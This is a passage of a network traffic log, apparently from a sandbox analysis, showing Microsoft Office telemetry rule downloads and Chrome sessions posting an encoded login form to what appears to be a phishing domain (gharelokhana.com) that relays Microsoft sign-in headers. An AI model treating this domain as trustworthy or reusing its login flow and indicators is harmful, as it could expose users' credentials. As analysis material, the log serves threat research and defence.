2024-12-04 15:15:25 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:15:24 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 2b878731-501e-008c-34ce-45cd39000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151524Z-1746fd949bdlqd7fhC1EWR6vt000000001g000000000gv6s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:15:25 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.6	49743	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:24 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:15:25 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:15:25 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 6818e2c2-d01e-0065-16d2-45b77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151525Z-1746fd949bdjzh7thC1EWR3g6400000001ag00000000m8ss x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:15:25 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.6	49744	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:24 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:15:25 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:15:25 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: c2a94a43-501e-00a0-7dd0-459d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151525Z-1746fd949bdlqd7fhC1EWR6vt000000001m00000000081sv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:15:25 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	49745	164.92.191.86	443	6236	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:25 UTC	906	OUT	POST /common/login HTTP/1.1 Host: fdgfhvcfdgfhhjh.gharelokhana.com Connection: keep-alive Content-Length: 4566 Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: https://fdgfhvcfdgfhhjh.gharelokhana.com Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://fdgfhvcfdgfhhjh.gharelokhana.com/common/login Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-04 15:15:25 UTC	4566	OUT	Data Raw: 37 74 6b 33 72 62 3d 25 35 42 25 35 42 25 32 32 36 64 32 35 33 37 34 36 32 35 33 33 34 34 32 35 25 32 32 25 32 43 25 32 32 33 33 34 33 33 32 36 64 37 37 32 35 33 37 34 36 25 32 32 25 32 43 25 32 32 33 39 36 32 32 35 33 33 34 33 37 35 36 64 32 35 25 32 32 25 32 43 25 32 32 33 33 34 36 32 35 33 33 34 32 32 35 33 37 34 36 25 32 32 25 32 43 25 32 32 37 30 32 35 33 37 34 34 36 64 37 30 36 39 36 37 25 32 32 25 32 43 25 32 32 33 36 36 35 36 32 37 30 32 35 33 33 34 34 32 35 25 32 32 25 32 43 25 32 32 33 37 34 34 37 31 33 34 33 31 33 33 33 30 33 35 25 32 32 25 32 43 25 32 32 33 34 33 35 33 34 33 32 33 33 33 31 33 33 33 33 25 32 32 25 32 43 25 32 32 33 39 33 34 33 32 33 37 25 32 32 25 35 44 25 32 43 25 32 32 34 31 33 30 35 34 35 34 32 33 25 32 32 25 32 43 25 32 32 Data Ascii: 7tk3rb=%5B%5B%226d25374625334425%22%2C%223343326d77253746%22%2C%223962253343756d25%22%2C%223346253342253746%22%2C%22702537446d706967%22%2C%223665627025334425%22%2C%223744713431333035%22%2C%223435343233313333%22%2C%2239343237%22%5D%2C%224130545423%22%2C%22
2024-12-04 15:15:26 UTC	415	IN	HTTP/1.1 302 Found Server: nginx Date: Wed, 04 Dec 2024 15:15:25 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close location: https://fdgfhvcfdgfhhjh.gharelokhana.com/common/login set-cookie: zQt4SK="NGFjNjVkMzktMjFhMC00OWY2LTgwMjctYzFkYzg2YzNjNWIxOmFkNmQ3ZGY4LWUzYzQtNDRhZS1hNDVhLWFkMzBkMDQ3NTIzNg=="; Domain=gharelokhana.com; HttpOnly; Path=/; SameSite=None; Secure
2024-12-04 15:15:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.6	49747	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:26 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:15:26 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:15:26 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: 6223bc78-401e-0015-38b6-450e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151526Z-1746fd949bdkw94lhC1EWRxuz400000001eg00000000nv4t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:15:26 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	49746	164.92.191.86	443	6236	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:26 UTC	903	OUT	GET /common/login HTTP/1.1 Host: fdgfhvcfdgfhhjh.gharelokhana.com Connection: keep-alive Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://fdgfhvcfdgfhhjh.gharelokhana.com/common/login Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: zQt4SK="NGFjNjVkMzktMjFhMC00OWY2LTgwMjctYzFkYzg2YzNjNWIxOmFkNmQ3ZGY4LWUzYzQtNDRhZS1hNDVhLWFkMzBkMDQ3NTIzNg=="
2024-12-04 15:15:27 UTC	784	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 04 Dec 2024 15:15:26 GMT Content-Type: text/html; charset=utf-8 Content-Length: 56860 Connection: close cache-control: no-store, no-cache pragma: no-cache vary: Accept-Encoding p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: fba9e10f-17ad-41c9-a4a0-6c1fa05e1c00 x-ms-ests-server: 2.1.19492.3 - NEULR1 ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://5ff4d3f4-4ac65d39.gharelokhana.com/api/report?catId=GW+estsfd+SEC"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P referrer-policy: strict-origin-when-cross-origin content-encoding: gzip access-control-allow-origin: * access-control-allow-headers: *
2024-12-04 15:15:27 UTC	15600	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 bc bd 79 7b da c8 f6 20 fc 7f 7f 0a 9b e9 c7 48 d7 32 66 35 5b d4 8c 8d 95 c4 8e b7 60 e2 44 4d 73 33 42 08 9b 58 06 82 c0 18 62 de cf fe 9e a5 4a 2a b1 24 7d ef af 67 fa e9 18 a9 54 7b 9d 3a 7b 9d 7a b3 7b 7a 5d 6f da 37 d6 ce c3 e4 c9 ff e3 b7 37 f8 b3 e3 fa 4e 10 98 89 c4 4e b7 3f 36 13 fe 64 9c d8 f1 9d c1 bd 99 f0 06 89 3f 7e db 79 f3 e0 39 5d f8 dd 79 33 e9 4f 7c 0f 9f 76 6e fb f7 83 9d fe 60 67 32 dc 99 0f a7 e3 1d c7 75 87 d3 c1 04 33 1d 86 b9 de 3c 79 13 67 c7 1d 0e 26 de 60 62 26 26 de cb e4 10 1b ac ee b8 0f ce 38 f0 26 e6 74 d2 3b 28 25 a0 33 93 d1 81 f7 7d da 7f 36 13 75 ce 7e d0 9c 8f bc c4 e1 86 6a ce 2c d3 eb de 7b f1 52 5f 0e 3e 1d 1f d4 87 4f 23 67 d2 ef f8 9b 0b ce fa dd c9 83 d9 f5 9e fb ae 77 40 2f 06 0c Data Ascii: y{ H2f5[`DMs3BXbJ*$}gT{:{z{z]o77NN?6d?~y9]y3O\|vn`g2u3<yg&`b&&8&t;(%3}6u~j,{R_>O#gw@/
2024-12-04 15:15:27 UTC	14460	IN	Data Raw: 5c 4e f4 74 97 bc 5c b2 12 65 cb e6 b2 ba 1a bb 61 a9 0e e7 ee f5 75 77 17 5d 8f 1a 64 65 ee 28 76 a6 eb 15 bf c9 88 ea a4 31 32 97 fd 6c 24 39 de 5f 32 c4 50 f6 47 44 71 a4 01 4b ef a3 07 fd b2 6a 8d 78 0d c8 33 54 50 5c 57 2c 8b 90 8c 1e 49 7d be c2 d0 5b 9d 90 b6 5f 69 e8 4b ca 44 4e 47 1f aa 2b 61 2a 13 2f aa 31 bf 23 ce d0 a3 f6 a7 83 ac b7 35 aa 58 57 2c 36 a2 4b f0 d6 2d 30 8e a3 1b 01 c5 2b ac f3 e1 ff 7a fd 2b 15 1a b7 ff 4a 1d c6 7d cc 51 e5 2a 7a 7f 87 41 15 d8 17 33 52 48 df 91 3b 16 3a 80 91 ed 96 10 25 1e 6f a4 c0 48 e7 3a c6 07 20 93 3c ee 90 8b d6 82 dc 79 51 5a 5e 0f 9e b2 f8 d3 5c 8c 65 bd f2 d4 42 03 e8 23 39 c7 a2 9e 99 0c eb a9 a4 48 ca 96 d8 11 66 49 1b 4e d4 9d 45 cc 85 7e 97 6c 5e a6 b4 4c 97 bc 9e ae 92 b4 f7 64 46 b4 99 99 c9 9b Data Ascii: \Nt\eauw]de(v12l$9_2PGDqKjx3TP\W,I}[_iKDNG+a/1#5XW,6K-0+z+J}QzA3RH;:%oH: <yQZ^\eB#9HfINE~l^LdF
2024-12-04 15:15:27 UTC	16384	IN	Data Raw: 1b 9c 28 f2 76 83 4a 0a 0f 12 66 d4 19 5f a2 9b ba 9f 93 3b 77 aa 4f 30 ba f1 b8 7d f9 c8 b7 01 e6 1b 01 d3 fa 29 c5 31 c2 70 46 74 61 6d 33 70 ec 9b d7 d6 4e 04 62 3c 9d d3 43 56 c9 a8 94 c9 d6 e2 fb 77 19 7e 70 91 ea 33 94 39 12 24 25 66 29 f2 de 66 5e d8 c7 47 5c 2b 42 af d2 c6 7b 91 96 30 0a 13 1b 19 d7 03 fc a4 7f a1 53 81 8f d5 a0 01 dd d2 78 1f 8d 98 e8 e1 a3 44 74 65 cb 15 b7 9c 9c 2e 38 61 99 1b 50 e6 68 e2 d6 e2 20 9e a3 18 46 b6 07 4b 17 7a 72 9d cb 70 47 ab 5f 94 f4 7d 8a fc 3b 9e bc dd c4 c5 73 12 3d 74 bb ea d0 a1 8b 8d e0 4e 23 a9 df 24 c9 d0 2c 87 27 1a b3 03 37 8e 3a 34 71 b7 a4 91 6f e8 05 20 fe 15 98 3e 06 29 0b a3 be 35 7d 50 70 d3 d4 70 d3 d4 70 d3 d4 70 b3 90 70 e3 12 dc 2c 08 6e d4 4d 2f 2e 3a 7b b7 9b 71 c6 e3 e0 9d a5 5b da 18 39 Data Ascii: (vJf_;wO0})1pFtam3pNb<CVw~p39$%f)f^G\+B{0SxDte.8aPh FKzrpG_};s=tN#$,'7:4qo >)5}Pppppp,nM/.:{q[9
2024-12-04 15:15:27 UTC	10416	IN	Data Raw: c0 7b 70 6a 16 6f 63 71 a1 88 e1 7c b0 9c 3a 15 e4 cc 43 d6 a8 87 fa ae 7f 09 a4 f9 97 80 fd 35 80 ff fe c8 45 7e 80 3e 28 6d 43 dc 50 ac eb 15 d4 13 98 5e 66 fc 61 30 f3 26 7b 83 b9 f7 d7 64 04 a6 e8 d9 0c bf de 21 e5 64 a6 ef 3d e6 32 39 9d 30 58 ec 3c 71 dd 3a 66 03 85 61 84 91 f4 31 a4 08 48 ad 9c d9 a8 87 0e ee 88 41 ae 00 0a 05 14 a1 54 c0 db 11 b8 61 7b b3 b4 9e e3 ae f0 30 ef 26 f6 69 2e f6 c2 00 97 ce 5c e1 26 70 38 f7 f3 54 e0 ad a3 0b 2b 20 94 65 52 c6 04 41 1d b4 83 5c 3f 2b 18 2e 0b 8c 50 bc 12 84 bf a7 f4 f5 06 da 69 e4 31 8a a2 21 42 1c 83 4c 62 5c b6 3e f8 f2 b9 28 83 14 12 eb a9 66 cf d3 a4 98 17 24 c5 14 b7 63 6f 27 87 11 a1 a9 63 9c ec d0 ec 53 85 3c b1 6e 65 93 24 cf b0 c0 42 c4 c7 8d 68 60 84 46 44 4e 38 2a 68 c9 a5 80 12 77 d1 b6 64 Data Ascii: {pjocq\|:C5E~>(mCP^fa0&{d!d=290X<q:fa1HATa{0&i.\&p8T+ eRA\?+.Pi1!BLb\>(f$co'cS<ne$Bh`FDN8*hwd

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.6	49750	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:26 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:15:27 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:15:27 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 16655d81-601e-0084-07c4-456b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151527Z-1746fd949bd6zq92hC1EWRry4800000001c0000000009vxu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:15:27 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.6	49748	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:26 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:15:27 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:15:27 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 864f0b94-901e-00a0-42cc-456a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151527Z-1746fd949bdwt8wrhC1EWRu6rg00000001g000000000fmef x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:15:27 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.6	49749	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:26 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:15:27 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:15:27 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: b5189c33-801e-008c-34cb-457130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151527Z-1746fd949bdtlp5chC1EWRq1v4000000017g00000000n1p7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:15:27 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.6	49751	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:26 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:15:27 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:15:27 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: de914170-201e-0000-68ad-45a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151527Z-1746fd949bd7wvgbhC1EWR0rgs00000001g0000000005dc1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
